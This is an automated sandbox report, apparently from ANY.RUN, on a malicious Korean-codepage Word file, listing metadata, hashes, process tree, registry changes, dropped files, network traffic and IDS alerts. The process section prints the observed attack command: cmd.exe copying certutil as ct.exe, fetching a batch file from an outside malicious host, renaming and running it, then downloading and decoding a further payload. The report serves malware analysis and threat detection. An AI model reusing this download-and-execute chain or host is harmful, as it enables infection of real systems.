File name: | 20190513-8.doc |
Full analysis: | https://app.any.run/tasks/083be263-8e12-463a-b314-d9b96510682c |
Verdict: | Malicious activity |
Analysis date: | May 15, 2019, 13:51:16 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 949, Author: BlueSky, Template: Normal.dotm, Last Saved By: BlueSky, Revision Number: 67, Name of Creating Application: Microsoft Office Word, Total Editing Time: 58:00, Create Time/Date: Tue Apr 23 12:25:00 2019, Last Saved Time/Date: Tue May 14 14:28:00 2019, Number of Pages: 3, Number of Words: 259, Number of Characters: 1482, Security: 0 |
MD5: | 9768B1208506E7F026625BE173CDB2EE |
SHA1: | D8840123C36A026200FFC59D3A912F77EE08C7A5 |
SHA256: | 32DADE4C9D07487883A5EED07BE98D4B2A954536B9D9155A6D367EC1EFDEFE90 |
SSDEEP: | 384:lTTtibVkKvXopxliS/75Esv5c/t0N9XlssNctJPCxYIh3QLQtWdS0jKXl:dTtGkKApbF5I0qs2IpQIhXl |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 ???? |
---|---|
CompObjUserTypeLen: | 28 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 15 |
CharCountWithSpaces: | 1738 |
Paragraphs: | 3 |
Lines: | 12 |
Company: | - |
CodePage: | Windows Korean (Unified Hangul Code) |
Security: | None |
Characters: | 1482 |
Words: | 259 |
Pages: | 3 |
ModifyDate: | 2019:05:14 13:28:00 |
CreateDate: | 2019:04:23 11:25:00 |
TotalEditTime: | 58.0 minutes |
Software: | Microsoft Office Word |
RevisionNumber: | 67 |
LastModifiedBy: | BlueSky |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | BlueSky |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2268 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\20190513-8.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.5123.5000 Modules
| |||||||||||||||
2224 | C:\Windows\system32\cmd.exe /q /c copy /Y %windir%\System32\certutil.exe %TEMP%\ct.exe && cd /d %TEMP% && ct -urlcache -split -f http://tgbabcrfv.1apps.com/1.txt && cd /d %TEMP% && ren 1.txt 1.bat && del /f /q 1.txt && 1.bat | C:\Windows\system32\cmd.exe | WINWORD.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
856 | ct -urlcache -split -f http://tgbabcrfv.1apps.com/1.txt | C:\Users\admin\AppData\Local\Temp\ct.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7601.18151 (win7sp1_gdr.130512-1533) Modules
| |||||||||||||||
2328 | ct -urlcache -split -f "http://tgbabcrfv.1apps.com/3.txt" | C:\Users\admin\AppData\Local\Temp\ct.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147954429 Version: 6.1.7601.18151 (win7sp1_gdr.130512-1533) Modules
| |||||||||||||||
1800 | ct -decode -f 3.txt setup.cab | C:\Users\admin\AppData\Local\Temp\ct.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147942402 Version: 6.1.7601.18151 (win7sp1_gdr.130512-1533) Modules
|
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | od> |
Value: 6F643E00DC080000010000000000000000000000 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage |
Operation: | write | Name: | WORDFiles |
Value: 1320091690 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1320091774 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1320091775 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
Operation: | write | Name: | MTTT |
Value: DC080000904E724D250BD50100000000 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | jj> |
Value: 6A6A3E00DC08000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | delete value | Name: | jj> |
Value: 6A6A3E00DC08000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (2268) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | ProxyBypass |
Value: 1 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2268 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR38C0.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2268 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF47A581AE7B16A9CE.TMP | — | |
MD5:— | SHA256:— | |||
2268 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFC0EC06A4AA7FB0A6.TMP | — | |
MD5:— | SHA256:— | |||
2268 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF3281A300637CFAFF.TMP | — | |
MD5:— | SHA256:— | |||
2268 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{35B3D2A5-50B6-44F4-8230-4CA743505E04}.tmp | — | |
MD5:— | SHA256:— | |||
2268 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{69CE160E-14E2-42E0-BBF3-59DFF0374C11}.tmp | — | |
MD5:— | SHA256:— | |||
856 | ct.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D9147AAEB1EA4FC0009193D5174E9DFB | text | |
MD5:A59DBF872D4D275415CAED24F93A4D02 | SHA256:BD66DB626ED1190FC316849FB95122D589CF9FBD92F4E32B19961A435B1408E1 | |||
2224 | cmd.exe | C:\Users\admin\AppData\Local\Temp\1.bat | text | |
MD5:A59DBF872D4D275415CAED24F93A4D02 | SHA256:BD66DB626ED1190FC316849FB95122D589CF9FBD92F4E32B19961A435B1408E1 | |||
2328 | ct.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\13F88D7FD508AD8AD2476C7FA9C8E3BB | binary | |
MD5:584ED3265D1F6A7573894BC335D1FEB3 | SHA256:31A6F9AC9FB065DE8769775BAC5CD96831364D54A76E0C43CFD5C9E0D710E9B7 | |||
856 | ct.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D9147AAEB1EA4FC0009193D5174E9DFB | binary | |
MD5:49A293D69D2C5D71D9EA69EC5A7BD690 | SHA256:EB47D6E4603CDEB3A4E11200BE46314AA9B03F13F6A364F413438490064A4AF2 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2328 | ct.exe | GET | 200 | 88.99.13.69:80 | http://tgbabcrfv.1apps.com/3.txt | DE | text | 1.08 Mb | malicious |
856 | ct.exe | GET | 200 | 88.99.13.69:80 | http://tgbabcrfv.1apps.com/1.txt | DE | text | 340 b | malicious |
856 | ct.exe | GET | 200 | 88.99.13.69:80 | http://tgbabcrfv.1apps.com/1.txt | DE | text | 340 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
856 | ct.exe | 88.99.13.69:80 | tgbabcrfv.1apps.com | Hetzner Online GmbH | DE | malicious |
2328 | ct.exe | 88.99.13.69:80 | tgbabcrfv.1apps.com | Hetzner Online GmbH | DE | malicious |
Domain | IP | Reputation |
---|---|---|
tgbabcrfv.1apps.com |
| malicious |
dns.msftncsi.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
856 | ct.exe | Misc activity | SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request |
2328 | ct.exe | Misc activity | ET INFO Certificate with Unknown Content M1 |